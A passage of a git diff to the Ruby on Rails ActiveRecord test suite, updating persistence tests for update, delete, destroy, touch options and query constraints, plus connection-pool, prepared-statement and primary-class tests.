+    topic_reloaded = Topic.find(topic.id)
+    assert_equal("Another Topic", topic_reloaded.title)
+    assert_equal("David", topic_reloaded.author_name)
+  end
+
+  def test_update_attribute_in_before_validation_respects_callback_chain
+    klass = Class.new(Topic) do
+      def self.name; "Topic"; end
+
+      before_validation :set_author_name
+      after_create :track_create
+      after_update :call_once, if: :saved_change_to_author_name?
+
+      attr_reader :counter
+
+      def set_author_name
+        update_attribute :author_name, "David"
+      end
+
+      def track_create
+        call_once if saved_change_to_author_name?
+      end
+
+      def call_once
+        @counter ||= 0
+        @counter += 1
+      end
+    end
+
+    comment = klass.create(title: "New Topic", author_name: "Not David")
+
+    assert_equal 1, comment.counter
+  end
+
+  def test_update_attribute_does_not_run_sql_if_attribute_is_not_changed
+    topic = Topic.create(title: "Another New Topic")
+    assert_no_queries do
       assert topic.update_attribute(:title, "Another New Topic")
     end
   end
 
   def test_update_does_not_run_sql_if_record_has_not_changed
     topic = Topic.create(title: "Another New Topic")
-    assert_queries(0) { assert topic.update(title: "Another New Topic") }
-    assert_queries(0) { assert topic.update_attributes(title: "Another New Topic") }
+    assert_no_queries do
+      assert topic.update(title: "Another New Topic")
+    end
   end
 
   def test_delete
     topic = Topic.find(1)
     assert_equal topic, topic.delete, "topic.delete did not return self"
-    assert topic.frozen?, "topic not frozen after delete"
+    assert_predicate topic, :frozen?, "topic not frozen after delete"
     assert_raise(ActiveRecord::RecordNotFound) { Topic.find(topic.id) }
   end
 
@@ -437,24 +904,47 @@ def test_delete_doesnt_run_callbacks
     assert_not_nil Topic.find(2)
   end
 
+  def test_delete_isnt_affected_by_scoping
+    topic = Topic.find(1)
+    assert_difference("Topic.count", -1) do
+      Topic.where("1=0").scoping { topic.delete }
+    end
+  end
+
   def test_destroy
     topic = Topic.find(1)
     assert_equal topic, topic.destroy, "topic.destroy did not return self"
-    assert topic.frozen?, "topic not frozen after destroy"
+    assert_predicate topic, :frozen?, "topic not frozen after destroy"
     assert_raise(ActiveRecord::RecordNotFound) { Topic.find(topic.id) }
   end
 
   def test_destroy!
     topic = Topic.find(1)
     assert_equal topic, topic.destroy!, "topic.destroy! did not return self"
-    assert topic.frozen?, "topic not frozen after destroy!"
+    assert_predicate topic, :frozen?, "topic not frozen after destroy!"
     assert_raise(ActiveRecord::RecordNotFound) { Topic.find(topic.id) }
   end
 
-  def test_record_not_found_exception
+  def test_destroy_for_a_failed_to_destroy_cpk_record
+    book = cpk_books(:cpk_great_author_first_book)
+    book.fail_destroy = true
+    assert_raises(ActiveRecord::RecordNotDestroyed, match: /Failed to destroy Cpk::Book with \["author_id", "id"\]=/) do
+      book.destroy!
+    end
+  end
+
+  def test_find_raises_record_not_found_exception
     assert_raise(ActiveRecord::RecordNotFound) { Topic.find(99999) }
   end
 
+  def test_update_raises_record_not_found_exception
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.update(99999, approved: true) }
+  end
+
+  def test_destroy_raises_record_not_found_exception
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.destroy(99999) }
+  end
+
   def test_update_all
     assert_equal Topic.count, Topic.update_all("content = 'bulk updated!'")
     assert_equal "bulk updated!", Topic.find(1).content
@@ -477,60 +967,76 @@ def test_update_all_with_hash
     assert_nil Topic.find(2).last_read
   end
 
-  def test_update_all_with_joins
-    where_args = { toys: { name: "Bone" } }
-    count = Pet.left_joins(:toys).where(where_args).count
-
-    assert_equal count, Pet.joins(:toys).where(where_args).update_all(name: "Bob")
-  end
-
-  def test_update_all_with_left_joins
-    where_args = { toys: { name: "Bone" } }
-    count = Pet.left_joins(:toys).where(where_args).count
+  def test_update_all_with_custom_sql_as_value
+    person = people(:michael)
+    person.update!(cars_count: 0)
 
-    assert_equal count, Pet.left_joins(:toys).where(where_args).update_all(name: "Bob")
-  end
-
-  def test_update_all_with_non_standard_table_name
-    assert_equal 1, WarehouseThing.where(id: 1).update_all(["value = ?", 0])
-    assert_equal 0, WarehouseThing.find(1).value
+    Person.update_all(cars_count: Arel.sql(<<~SQL))
+      select count(*) from cars where cars.person_id = people.id
+    SQL
+    assert_equal 1, person.reload.cars_count
   end
 
   def test_delete_new_record
-    client = Client.new
+    client = Client.new(name: "37signals")
     client.delete
-    assert client.frozen?
+    assert_predicate client, :frozen?
+
+    assert_not client.save
+    assert_raise(ActiveRecord::RecordNotSaved) { client.save! }
+
+    assert_predicate client, :frozen?
+    assert_raise(RuntimeError) { client.name = "something else" }
   end
 
   def test_delete_record_with_associations
     client = Client.find(3)
     client.delete
-    assert client.frozen?
+    assert_predicate client, :frozen?
     assert_kind_of Firm, client.firm
+
+    assert_not client.save
+    assert_raise(ActiveRecord::RecordNotSaved) { client.save! }
+
+    assert_predicate client, :frozen?
     assert_raise(RuntimeError) { client.name = "something else" }
   end
 
   def test_destroy_new_record
-    client = Client.new
+    client = Client.new(name: "37signals")
     client.destroy
-    assert client.frozen?
+    assert_predicate client, :frozen?
+
+    assert_not client.save
+    assert_raise(ActiveRecord::RecordNotSaved) { client.save! }
+
+    assert_predicate client, :frozen?
+    assert_raise(RuntimeError) { client.name = "something else" }
   end
 
   def test_destroy_record_with_associations
     client = Client.find(3)
     client.destroy
-    assert client.frozen?
+    assert_predicate client, :frozen?
     assert_kind_of Firm, client.firm
+
+    assert_not client.save
+    assert_raise(ActiveRecord::RecordNotSaved) { client.save! }
+
+    assert_predicate client, :frozen?
     assert_raise(RuntimeError) { client.name = "something else" }
   end
 
   def test_update_attribute
-    assert !Topic.find(1).approved?
+    assert_not_predicate Topic.find(1), :approved?
     Topic.find(1).update_attribute("approved", true)
-    assert Topic.find(1).approved?
+    assert_predicate Topic.find(1), :approved?
 
     Topic.find(1).update_attribute(:approved, false)
-    assert !Topic.find(1).approved?
+    assert_not_predicate Topic.find(1), :approved?
+
+    Topic.find(1).update_attribute(:change_approved_before_save, true)
+    assert_predicate Topic.find(1), :approved?
   end
 
   def test_update_attribute_for_readonly_attribute
@@ -542,8 +1048,8 @@ def test_update_attribute_with_one_updated
     t = Topic.first
     t.update_attribute(:title, "super_title")
     assert_equal "super_title", t.title
-    assert !t.changed?, "topic should not have changed"
-    assert !t.title_changed?, "title should not have changed"
+    assert_not t.changed?, "topic should not have changed"
+    assert_not t.title_changed?, "title should not have changed"
     assert_nil t.title_change, "title change should be nil"
 
     t.reload
@@ -564,17 +1070,99 @@ def test_update_attribute_for_updated_at_on
     assert_not_equal prev_month, developer.updated_at
   end
 
+  def test_update_attribute!
+    assert_not_predicate Topic.find(1), :approved?
+    Topic.find(1).update_attribute!("approved", true)
+    assert_predicate Topic.find(1), :approved?
+
+    Topic.find(1).update_attribute!(:approved, false)
+    assert_not_predicate Topic.find(1), :approved?
+
+    Topic.find(1).update_attribute!(:change_approved_before_save, true)
+    assert_predicate Topic.find(1), :approved?
+  end
+
+  def test_update_attribute_for_readonly_attribute!
+    minivan = Minivan.find("m1")
+    assert_raises(ActiveRecord::ActiveRecordError) { minivan.update_attribute!(:color, "black") }
+  end
+
+  def test_update_attribute_with_one_updated!
+    t = Topic.first
+    t.update_attribute!(:title, "super_title")
+    assert_equal "super_title", t.title
+    assert_not t.changed?, "topic should not have changed"
+    assert_not t.title_changed?, "title should not have changed"
+    assert_nil t.title_change, "title change should be nil"
+
+    t.reload
+    assert_equal "super_title", t.title
+  end
+
+  def test_update_attribute_for_updated_at_on!
+    developer = Developer.find(1)
+    prev_month = Time.now.prev_month.change(usec: 0)
+
+    developer.update_attribute!(:updated_at, prev_month)
+    assert_equal prev_month, developer.updated_at
+
+    developer.update_attribute!(:salary, 80001)
+    assert_not_equal prev_month, developer.updated_at
+
+    developer.reload
+    assert_not_equal prev_month, developer.updated_at
+  end
+
+  def test_update_attribute_for_aborted_callback!
+    klass = Class.new(Topic) do
+      def self.name; "Topic"; end
+
+      before_update :throw_abort
+
+      def throw_abort
+        throw(:abort)
+      end
+    end
+
+    t = klass.create(title: "New Topic", author_name: "Not David")
+
+    assert_raises(ActiveRecord::RecordNotSaved) { t.update_attribute!(:title, "super_title") }
+
+    t_reloaded = Topic.find(t.id)
+
+    assert_equal "New Topic", t_reloaded.title
+  end
+
   def test_update_column
     topic = Topic.find(1)
     topic.update_column("approved", true)
-    assert topic.approved?
+    assert_predicate topic, :approved?
     topic.reload
-    assert topic.approved?
+    assert_predicate topic, :approved?
 
     topic.update_column(:approved, false)
-    assert !topic.approved?
+    assert_not_predicate topic, :approved?
     topic.reload
-    assert !topic.approved?
+    assert_not_predicate topic, :approved?
+  end
+
+  def test_update_column_touch_option
+    topic = Topic.find(1)
+
+    assert_changes -> { topic.updated_at } do
+      travel(1.second) do
+        topic.update_column(:title, "super_title", touch: true)
+      end
+    end
+  end
+
+  def test_update_column_touch_option_with_specific_time
+    topic = Topic.find(1)
+    new_updated_at = Date.parse("2024-03-31 12:00:00")
+
+    assert_changes -> { topic.updated_at }, to: new_updated_at do
+      topic.update_column(:title, "super_title", touch: { time: new_updated_at })
+    end
   end
 
   def test_update_column_should_not_use_setter_method
@@ -642,8 +1230,8 @@ def test_update_column_with_one_changed_and_one_updated
     t.update_column(:title, "super_title")
     assert_equal "John", t.author_name
     assert_equal "super_title", t.title
-    assert t.changed?, "topic should have changed"
-    assert t.author_name_changed?, "author_name should have changed"
+    assert_predicate t, :changed?, "topic should have changed"
+    assert_predicate t, :author_name_changed?, "author_name should have changed"
 
     t.reload
     assert_equal author_name, t.author_name
@@ -661,13 +1249,60 @@ def test_update_column_with_default_scope
   def test_update_columns
     topic = Topic.find(1)
     topic.update_columns("approved" => true, title: "Sebastian Topic")
-    assert topic.approved?
+    assert_predicate topic, :approved?
     assert_equal "Sebastian Topic", topic.title
     topic.reload
-    assert topic.approved?
+    assert_predicate topic, :approved?
     assert_equal "Sebastian Topic", topic.title
   end
 
+  def test_update_columns_touch_option_updates_timestamps
+    topic = Topic.find(1)
+
+    assert_changes -> { topic.updated_at } do
+      travel(1.second) do
+        topic.update_columns(title: "super_title", touch: true)
+      end
+    end
+  end
+
+  def test_update_columns_touch_option_explicit_column_names
+    topic = Topic.find(1)
+
+    assert_changes -> { [topic.updated_at, topic.written_on] } do
+      travel(1.second) do
+        topic.update_columns(title: "super_title", touch: :written_on)
+      end
+    end
+  end
+
+  def test_update_columns_touch_option_not_overwrite_explicit_attribute
+    topic = Topic.find(1)
+    new_updated_at = Date.parse("2024-03-31 12:00:00")
+
+    assert_changes -> { topic.updated_at }, to: new_updated_at do
+      topic.update_columns(title: "super_title", updated_at: new_updated_at, touch: true)
+    end
+  end
+
+  def test_update_columns_touch_option_not_overwrite_explicit_attribute_with_string_key
+    topic = Topic.find(1)
+    new_updated_at = Date.parse("2024-03-31 12:00:00")
+
+    assert_changes -> { topic.updated_at }, to: new_updated_at do
+      topic.update_columns(title: "super_title", "updated_at" => new_updated_at, touch: true)
+    end
+  end
+
+  def test_update_columns_touch_option_with_specific_time
+    topic = Topic.find(1)
+    new_updated_at = Date.parse("2024-03-31 12:00:00")
+
+    assert_changes -> { topic.updated_at }, to: new_updated_at do
+      topic.update_columns(title: "super_title", touch: { time: new_updated_at })
+    end
+  end
+
   def test_update_columns_should_not_use_setter_method
     dev = Developer.find(1)
     dev.instance_eval { def salary=(value); write_attribute(:salary, value * 2); end }
@@ -741,8 +1376,8 @@ def test_update_columns_with_one_changed_and_one_updated
     t.update_columns(title: "super_title")
     assert_equal "John", t.author_name
     assert_equal "super_title", t.title
-    assert t.changed?, "topic should have changed"
-    assert t.author_name_changed?, "author_name should have changed"
+    assert_predicate t, :changed?, "topic should have changed"
+    assert_predicate t, :author_name_changed?, "author_name should have changed"
 
     t.reload
     assert_equal author_name, t.author_name
@@ -772,54 +1407,38 @@ def test_update_columns_with_default_scope
 
   def test_update
     topic = Topic.find(1)
-    assert !topic.approved?
+    assert_not_predicate topic, :approved?
     assert_equal "The First Topic", topic.title
 
     topic.update("approved" => true, "title" => "The First Topic Updated")
     topic.reload
-    assert topic.approved?
+    assert_predicate topic, :approved?
     assert_equal "The First Topic Updated", topic.title
 
     topic.update(approved: false, title: "The First Topic")
     topic.reload
-    assert !topic.approved?
-    assert_equal "The First Topic", topic.title
-  end
-
-  def test_update_attributes
-    topic = Topic.find(1)
-    assert !topic.approved?
-    assert_equal "The First Topic", topic.title
-
-    topic.update_attributes("approved" => true, "title" => "The First Topic Updated")
-    topic.reload
-    assert topic.approved?
-    assert_equal "The First Topic Updated", topic.title
-
-    topic.update_attributes(approved: false, title: "The First Topic")
-    topic.reload
-    assert !topic.approved?
+    assert_not_predicate topic, :approved?
     assert_equal "The First Topic", topic.title
 
     error = assert_raise(ActiveRecord::RecordNotUnique, ActiveRecord::StatementInvalid) do
-      topic.update_attributes(id: 3, title: "Hm is it possible?")
+      topic.update(id: 3, title: "Hm is it possible?")
     end
     assert_not_nil error.cause
     assert_not_equal "Hm is it possible?", Topic.find(3).title
 
-    topic.update_attributes(id: 1234)
+    topic.update(id: 1234)
     assert_nothing_raised { topic.reload }
     assert_equal topic.title, Topic.find(1234).title
   end
 
-  def test_update_attributes_parameters
+  def test_update_parameters
     topic = Topic.find(1)
     assert_nothing_raised do
-      topic.update_attributes({})
+      topic.update({})
     end
 
     assert_raises(ArgumentError) do
-      topic.update_attributes(nil)
+      topic.update(nil)
     end
   end
 
@@ -844,27 +1463,6 @@ def test_update!
     Reply.clear_validators!
   end
 
-  def test_update_attributes!
-    Reply.validates_presence_of(:title)
-    reply = Reply.find(2)
-    assert_equal "The Second Topic of the day", reply.title
-    assert_equal "Have a nice day", reply.content
-
-    reply.update_attributes!("title" => "The Second Topic of the day updated", "content" => "Have a nice evening")
-    reply.reload
-    assert_equal "The Second Topic of the day updated", reply.title
-    assert_equal "Have a nice evening", reply.content
-
-    reply.update_attributes!(title: "The Second Topic of the day", content: "Have a nice day")
-    reply.reload
-    assert_equal "The Second Topic of the day", reply.title
-    assert_equal "Have a nice day", reply.content
-
-    assert_raise(ActiveRecord::RecordInvalid) { reply.update_attributes!(title: nil, content: "Have a nice evening") }
-  ensure
-    Reply.clear_validators!
-  end
-
   def test_destroyed_returns_boolean
     developer = Developer.first
     assert_equal false, developer.destroyed?
@@ -898,18 +1496,52 @@ def test_class_level_destroy
     should_be_destroyed_reply = Reply.create("title" => "hello", "content" => "world")
     Topic.find(1).replies << should_be_destroyed_reply
 
-    Topic.destroy(1)
+    topic = Topic.destroy(1)
+    assert_predicate topic, :destroyed?
+
     assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1) }
     assert_raise(ActiveRecord::RecordNotFound) { Reply.find(should_be_destroyed_reply.id) }
   end
 
+  def test_class_level_destroy_is_affected_by_scoping
+    should_not_be_destroyed_reply = Reply.create("title" => "hello", "content" => "world")
+    Topic.find(1).replies << should_not_be_destroyed_reply
+
+    assert_raise(ActiveRecord::RecordNotFound) do
+      Topic.where("1=0").scoping { Topic.destroy(1) }
+    end
+
+    assert_nothing_raised { Topic.find(1) }
+    assert_nothing_raised { Reply.find(should_not_be_destroyed_reply.id) }
+  end
+
   def test_class_level_delete
-    should_be_destroyed_reply = Reply.create("title" => "hello", "content" => "world")
-    Topic.find(1).replies << should_be_destroyed_reply
+    should_not_be_destroyed_reply = Reply.create("title" => "hello", "content" => "world")
+    Topic.find(1).replies << should_not_be_destroyed_reply
 
     Topic.delete(1)
     assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1) }
-    assert_nothing_raised { Reply.find(should_be_destroyed_reply.id) }
+    assert_nothing_raised { Reply.find(should_not_be_destroyed_reply.id) }
+  end
+
+  def test_class_level_delete_with_invalid_ids
+    assert_no_queries do
+      assert_equal 0, Topic.delete(nil)
+      assert_equal 0, Topic.delete([])
+    end
+
+    assert_difference -> { Topic.count }, -1 do
+      assert_equal 1, Topic.delete(topics(:first).id)
+    end
+  end
+
+  def test_class_level_delete_is_affected_by_scoping
+    should_not_be_destroyed_reply = Reply.create("title" => "hello", "content" => "world")
+    Topic.find(1).replies << should_not_be_destroyed_reply
+
+    Topic.where("1=0").scoping { Topic.delete(1) }
+    assert_nothing_raised { Topic.find(1) }
+    assert_nothing_raised { Reply.find(should_not_be_destroyed_reply.id) }
   end
 
   def test_create_with_custom_timestamps
@@ -956,19 +1588,19 @@ def test_reload_removes_custom_selects
   def test_find_via_reload
     post = Post.new
 
-    assert post.new_record?
+    assert_predicate post, :new_record?
 
     post.id = 1
     post.reload
 
     assert_equal "Welcome to the weblog", post.title
-    assert_not post.new_record?
+    assert_not_predicate post, :new_record?
   end
 
   def test_reload_via_querycache
-    ActiveRecord::Base.connection.enable_query_cache!
-    ActiveRecord::Base.connection.clear_query_cache
-    assert ActiveRecord::Base.connection.query_cache_enabled, "cache should be on"
+    ActiveRecord::Base.lease_connection.enable_query_cache!
+    ActiveRecord::Base.lease_connection.clear_query_cache
+    assert ActiveRecord::Base.lease_connection.query_cache_enabled, "cache should be on"
     parrot = Parrot.create(name: "Shane")
 
     # populate the cache with the SELECT result
@@ -976,7 +1608,7 @@ def test_reload_via_querycache
     assert_equal parrot.id, found_parrot.id
 
     # Manually update the 'name' attribute in the DB directly
-    assert_equal 1, ActiveRecord::Base.connection.query_cache.length
+    assert_equal 1, ActiveRecord::Base.lease_connection.query_cache.size
     ActiveRecord::Base.uncached do
       found_parrot.name = "Mary"
       found_parrot.save
@@ -989,50 +1621,161 @@ def test_reload_via_querycache
     found_parrot = Parrot.find(parrot.id)
     assert_equal "Mary", found_parrot.name
   ensure
-    ActiveRecord::Base.connection.disable_query_cache!
+    ActiveRecord::Base.lease_connection.disable_query_cache!
   end
 
-  class SaveTest < ActiveRecord::TestCase
-    self.use_transactional_tests = false
+  def test_save_touch_false
+    parrot = Parrot.create!(
+      name: "Bob",
+      created_at: 1.day.ago,
+      updated_at: 1.day.ago)
 
-    def test_save_touch_false
-      widget = Class.new(ActiveRecord::Base) do
-        connection.create_table :widgets, force: true do |t|
-          t.string :name
-          t.timestamps null: false
-        end
+    created_at = parrot.created_at
+    updated_at = parrot.updated_at
 
-        self.table_name = :widgets
-      end
-
-      instance = widget.create!(
-        name: "Bob",
-        created_at: 1.day.ago,
-        updated_at: 1.day.ago)
-
-      created_at = instance.created_at
-      updated_at = instance.updated_at
-
-      instance.name = "Barb"
-      instance.save!(touch: false)
-      assert_equal instance.created_at, created_at
-      assert_equal instance.updated_at, updated_at
-    ensure
-      ActiveRecord::Base.connection.drop_table widget.table_name
-      widget.reset_column_information
-    end
+    parrot.name = "Barb"
+    parrot.save!(touch: false)
+    assert_equal parrot.created_at, created_at
+    assert_equal parrot.updated_at, updated_at
   end
 
   def test_reset_column_information_resets_children
-    child = Class.new(Topic)
-    child.new # force schema to load
+    child_class = Class.new(Topic)
+    child_class.new # force schema to load
 
-    ActiveRecord::Base.connection.add_column(:topics, :foo, :string)
+    ActiveRecord::Base.lease_connection.add_column(:topics, :foo, :string)
     Topic.reset_column_information
 
-    assert_equal "bar", child.new(foo: :bar).foo
+    # this should redefine attribute methods
+    child_class.new
+
+    assert child_class.instance_methods.include?(:foo)
+    assert child_class.instance_methods.include?(:foo_changed?)
+    assert_equal "bar", child_class.new(foo: :bar).foo
   ensure
-    ActiveRecord::Base.connection.remove_column(:topics, :foo)
+    ActiveRecord::Base.lease_connection.remove_column(:topics, :foo)
     Topic.reset_column_information
   end
+
+  def test_update_uses_query_constraints_config
+    clothing_item = clothing_items(:green_t_shirt)
+    sql = capture_sql { clothing_item.update(description: "Lovely green t-shirt")  }.second
+    assert_match(/WHERE .*clothing_type/, sql)
+    assert_match(/WHERE .*color/, sql)
+  end
+
+  def test_save_uses_query_constraints_config
+    clothing_item = clothing_items(:green_t_shirt)
+    clothing_item.description = "Lovely green t-shirt"
+    sql = capture_sql { clothing_item.save }.second
+    assert_match(/WHERE .*clothing_type/, sql)
+    assert_match(/WHERE .*color/, sql)
+  end
+
+  def test_reload_uses_query_constraints_config
+    clothing_item = clothing_items(:green_t_shirt)
+    sql = capture_sql { clothing_item.reload  }.first
+    assert_match(/WHERE .*clothing_type/, sql)
+    assert_match(/WHERE .*color/, sql)
+  end
+
+  def test_destroy_uses_query_constraints_config
+    clothing_item = clothing_items(:green_t_shirt)
+    sql = capture_sql { clothing_item.destroy }.second
+    assert_match(/WHERE .*clothing_type/, sql)
+    assert_match(/WHERE .*color/, sql)
+  end
+
+  def test_delete_uses_query_constraints_config
+    clothing_item = clothing_items(:green_t_shirt)
+    sql = capture_sql { clothing_item.delete }.first
+    assert_match(/WHERE .*clothing_type/, sql)
+    assert_match(/WHERE .*color/, sql)
+  end
+
+  def test_update_attribute_uses_query_constraints_config
+    clothing_item = clothing_items(:green_t_shirt)
+    sql = capture_sql { clothing_item.update_attribute(:description, "Lovely green t-shirt") }.second
+    assert_match(/WHERE .*clothing_type/, sql)
+    assert_match(/WHERE .*color/, sql)
+  end
+
+  def test_it_is_possible_to_update_parts_of_the_query_constraints_config
+    clothing_item = clothing_items(:green_t_shirt)
+    clothing_item.color = "blue"
+    clothing_item.description = "Now it's a blue t-shirt"
+    sql = capture_sql { clothing_item.save }.second
+    assert_match(/WHERE .*clothing_type/, sql)
+    assert_match(/WHERE .*color/, sql)
+
+    assert_equal("blue", ClothingItem.find_by(id: clothing_item.id).color)
+  end
+
+  def test_model_with_no_auto_populated_fields_still_returns_primary_key_after_insert
+    record = PkAutopopulatedByATriggerRecord.create
+
+    assert_not_nil record.id
+    assert record.id > 0
+  end if supports_insert_returning? && !current_adapter?(:SQLite3Adapter)
+end
+
+class QueryConstraintsTest < ActiveRecord::TestCase
+  fixtures :clothing_items, :dashboards, :topics, :posts
+
+  def test_primary_key_stays_the_same
+    assert_equal("id", ClothingItem.primary_key)
+  end
+
+  def test_query_constraints_list_is_nil_if_primary_key_is_nil
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "developers_projects"
+    end
+
+    assert_nil klass.primary_key
+    assert_nil klass.query_constraints_list
+  end
+
+  def test_query_constraints_list_is_nil_for_non_cpk_model
+    assert_nil Post.query_constraints_list
+    assert_nil Dashboard.query_constraints_list
+  end
+
+  def test_query_constraints_list_equals_to_composite_primary_key
+    assert_equal(["shop_id", "id"], Cpk::Order.query_constraints_list)
+    assert_equal(["author_id", "id"], Cpk::Book.query_constraints_list)
+  end
+
+  def test_child_keeps_parents_query_constraints
+    clothing_item = clothing_items(:green_t_shirt)
+    assert_uses_query_constraints_on_reload(clothing_item, ["clothing_type", "color"])
+
+    used_clothing_item = clothing_items(:used_blue_jeans)
+    assert_uses_query_constraints_on_reload(used_clothing_item, ["clothing_type", "color"])
+  end
+
+  def test_child_keeps_parents_query_constraints_derived_from_composite_pk
+    assert_equal(["author_id", "id"], Cpk::BestSeller.query_constraints_list)
+  end
+
+  def assert_uses_query_constraints_on_reload(object, columns)
+    flunk("columns argument must not be empty") if columns.blank?
+
+    sql = capture_sql { object.reload }.first
+    Array(columns).each do |column|
+      assert_match(/WHERE .*#{column}/, sql)
+    end
+  end
+
+  def test_query_constraints_raises_an_error_when_no_columns_provided
+    assert_raises(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        self.table_name = "topics"
+        query_constraints
+      end
+    end
+  end
+
+  def test_child_class_with_query_constraints_overrides_parents
+    assert_equal(["clothing_type", "color", "size"], ClothingItem::Sized.query_constraints_list)
+  end
 end
diff --git a/activerecord/test/cases/pooled_connections_test.rb b/activerecord/test/cases/pooled_connections_test.rb
index f1b0d087650f6..3412b64115a3c 100644
--- a/activerecord/test/cases/pooled_connections_test.rb
+++ b/activerecord/test/cases/pooled_connections_test.rb
@@ -1,81 +1,74 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/project"
 require "timeout"
 
 class PooledConnectionsTest < ActiveRecord::TestCase
-  self.use_transactional_tests = false
+  unless in_memory_db?
+    self.use_transactional_tests = false
 
-  def setup
-    @per_test_teardown = []
-    @connection = ActiveRecord::Base.remove_connection
-  end
+    def setup
+      @connection = ActiveRecord::Base.remove_connection.configuration_hash
+    end
 
-  teardown do
-    ActiveRecord::Base.clear_all_connections!
-    ActiveRecord::Base.establish_connection(@connection)
-    @per_test_teardown.each(&:call)
-  end
+    def teardown
+      ActiveRecord::Base.connection_handler.clear_all_connections!(:all)
+      ActiveRecord::Base.establish_connection(@connection)
+    end
+
+    def test_pooled_connection_checkin_one
+      checkout_checkin_connections 1, 2
+      assert_equal 2, @connection_count
+      assert_equal 0, @timed_out
+      assert_equal 1, ActiveRecord::Base.connection_pool.connections.size
+    end
+
+    def test_pooled_connection_checkin_two
+      checkout_checkin_connections_loop 2, 3
+      assert_equal 3, @connection_count
+      assert_equal 0, @timed_out
+      assert_equal 2, ActiveRecord::Base.connection_pool.connections.size
+    end
+
+    def test_pooled_connection_remove
+      ActiveRecord::Base.establish_connection(@connection.merge(max_connections: 2, checkout_timeout: 0.5))
+      old_connection = ActiveRecord::Base.lease_connection
+      extra_connection = ActiveRecord::Base.connection_pool.checkout
+      ActiveRecord::Base.connection_pool.remove(extra_connection)
+      assert_equal ActiveRecord::Base.lease_connection.object_id, old_connection.object_id
+    end
+
+    private
+      # Will deadlock due to lack of Monitor timeouts in 1.9
+      def checkout_checkin_connections(max_connections, threads)
+        ActiveRecord::Base.establish_connection(@connection.merge(max_connections: max_connections, checkout_timeout: 0.5))
+        @connection_count = 0
+        @timed_out = 0
+        threads.times do
+          Thread.new do
+            conn = ActiveRecord::Base.connection_pool.checkout
+            sleep 0.1
+            ActiveRecord::Base.connection_pool.checkin conn
+            @connection_count += 1
+          rescue ActiveRecord::ConnectionTimeoutError
+            @timed_out += 1
+          end.join
+        end
+      end
 
-  # Will deadlock due to lack of Monitor timeouts in 1.9
-  def checkout_checkin_connections(pool_size, threads)
-    ActiveRecord::Base.establish_connection(@connection.merge(pool: pool_size, checkout_timeout: 0.5))
-    @connection_count = 0
-    @timed_out = 0
-    threads.times do
-      Thread.new do
-        begin
+      def checkout_checkin_connections_loop(max_connections, loops)
+        ActiveRecord::Base.establish_connection(@connection.merge(max_connections: max_connections, checkout_timeout: 0.5))
+        @connection_count = 0
+        @timed_out = 0
+        loops.times do
           conn = ActiveRecord::Base.connection_pool.checkout
-          sleep 0.1
           ActiveRecord::Base.connection_pool.checkin conn
           @connection_count += 1
+          ActiveRecord::Base.lease_connection.data_sources
         rescue ActiveRecord::ConnectionTimeoutError
           @timed_out += 1
         end
-      end.join
-    end
-  end
-
-  def checkout_checkin_connections_loop(pool_size, loops)
-    ActiveRecord::Base.establish_connection(@connection.merge(pool: pool_size, checkout_timeout: 0.5))
-    @connection_count = 0
-    @timed_out = 0
-    loops.times do
-      begin
-        conn = ActiveRecord::Base.connection_pool.checkout
-        ActiveRecord::Base.connection_pool.checkin conn
-        @connection_count += 1
-        ActiveRecord::Base.connection.data_sources
-      rescue ActiveRecord::ConnectionTimeoutError
-        @timed_out += 1
       end
-    end
   end
-
-  def test_pooled_connection_checkin_one
-    checkout_checkin_connections 1, 2
-    assert_equal 2, @connection_count
-    assert_equal 0, @timed_out
-    assert_equal 1, ActiveRecord::Base.connection_pool.connections.size
-  end
-
-  def test_pooled_connection_checkin_two
-    checkout_checkin_connections_loop 2, 3
-    assert_equal 3, @connection_count
-    assert_equal 0, @timed_out
-    assert_equal 2, ActiveRecord::Base.connection_pool.connections.size
-  end
-
-  def test_pooled_connection_remove
-    ActiveRecord::Base.establish_connection(@connection.merge(pool: 2, checkout_timeout: 0.5))
-    old_connection = ActiveRecord::Base.connection
-    extra_connection = ActiveRecord::Base.connection_pool.checkout
-    ActiveRecord::Base.connection_pool.remove(extra_connection)
-    assert_equal ActiveRecord::Base.connection, old_connection
-  end
-
-  private
-
-    def add_record(name)
-      ActiveRecord::Base.connection_pool.with_connection { Project.create! name: name }
-    end
-end unless in_memory_db?
+end
diff --git a/activerecord/test/cases/prepared_statement_status_test.rb b/activerecord/test/cases/prepared_statement_status_test.rb
new file mode 100644
index 0000000000000..75dabe9735865
--- /dev/null
+++ b/activerecord/test/cases/prepared_statement_status_test.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/course"
+require "models/entrant"
+
+module ActiveRecord
+  class PreparedStatementStatusTest < ActiveRecord::TestCase
+    def test_prepared_statement_status_is_thread_and_instance_specific
+      course_conn = Course.lease_connection
+      entrant_conn = Entrant.lease_connection
+
+      inside = Concurrent::Event.new
+      preventing = Concurrent::Event.new
+      finished = Concurrent::Event.new
+
+      assert_not_same course_conn, entrant_conn
+
+      if ActiveRecord::Base.lease_connection.prepared_statements
+        t1 = Thread.new do
+          course_conn.unprepared_statement do
+            inside.set
+            preventing.wait
+            assert_not course_conn.prepared_statements
+            assert entrant_conn.prepared_statements
+            finished.set
+          end
+        end
+
+        t2 = Thread.new do
+          entrant_conn.unprepared_statement do
+            inside.wait
+            assert course_conn.prepared_statements
+            assert_not entrant_conn.prepared_statements
+            preventing.set
+            finished.wait
+          end
+        end
+
+        t1.join
+        t2.join
+      else
+        assert_not course_conn.prepared_statements
+        assert_not entrant_conn.prepared_statements
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/primary_class_test.rb b/activerecord/test/cases/primary_class_test.rb
new file mode 100644
index 0000000000000..4351585700ec6
--- /dev/null
+++ b/activerecord/test/cases/primary_class_test.rb
@@ -0,0 +1,134 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class PrimaryClassTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  def teardown
+    clean_up_connection_handler
+  end
+
+  class PrimaryAppRecord < ActiveRecord::Base
+  end
+
+  class AnotherAppRecord < PrimaryAppRecord
+    self.abstract_class = true
+  end
+
+  class ApplicationRecord < ActiveRecord::Base
+    self.abstract_class = true
+  end
+
+  def test_application_record_is_used_if_no_primary_class_is_set
